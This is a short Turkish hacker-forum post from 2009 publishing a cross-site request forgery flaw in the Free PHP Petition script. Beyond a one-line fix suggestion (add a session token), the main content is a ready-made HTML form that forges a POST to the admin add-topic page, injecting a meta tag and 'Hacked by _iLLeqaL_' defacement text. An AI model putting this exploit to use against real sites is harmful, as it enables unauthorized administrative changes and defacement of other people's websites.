ROOT
FORUM ROOT
PORTAL ROOT
CYBER NAVIGATION
DÖKÜMANLAR
DÖKÜMAN EKLE
DOWNLOAD/DOSYA ARSIVI
BASINDA CW
CYBER ACADEMY
ORGANIZASYON
NELER YAPTIK?
OPERASYON YÖNETIM SISTEMI
GÖREV ORG. BASVURU
YÖNETICI BASVURU FORMU
MISYON
KURALLAR
KEFALET
KEFIL HAVUZU
MEMBER NAVIGATION
YENI ÜYE BASVURU
PROFIL
MEMBER NETWORK
SIFREMI UNUTTUM
ÖZEL MESAJLARIM
ONAY E-POSTA GÖNDER
Root
>
Exploits / Vulnerabilities
> Free PHP Petition ~ XSRF Vuln.
Free PHP Petition ~ XSRF Vuln. | Cyber-Warrior Information Technology's World
Madde
Author :
Bug Researchers/_iLLeqaL_
Date :
04.11.2009 23:19:47
#
Free PHP Petition ~ XSRF Vuln.
[Full Screen Display]
< ------------------- header data start ------------------- > ############################################################# # Application Name : Free PHP Petition # vulnerable Type : XSRF # Infection : Meta ile Yönlendirilebilir ..! # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmelidir ! # author : _iLLeqaL_ ~ Bug Researchers ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form action=http://[site].com/[yol]/signing_system-admin/add-topic.php method=post enctype=multipart/form-data> <input type=hidden name=name id=name value=Meta Taginiz Burda ! /> <input type=hidden name=description id=description value=Hacked,Hacked by _iLLeqaL_ :)> <input type=submit name=submit value= O K /> </form> < -- bug code end of -- >
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©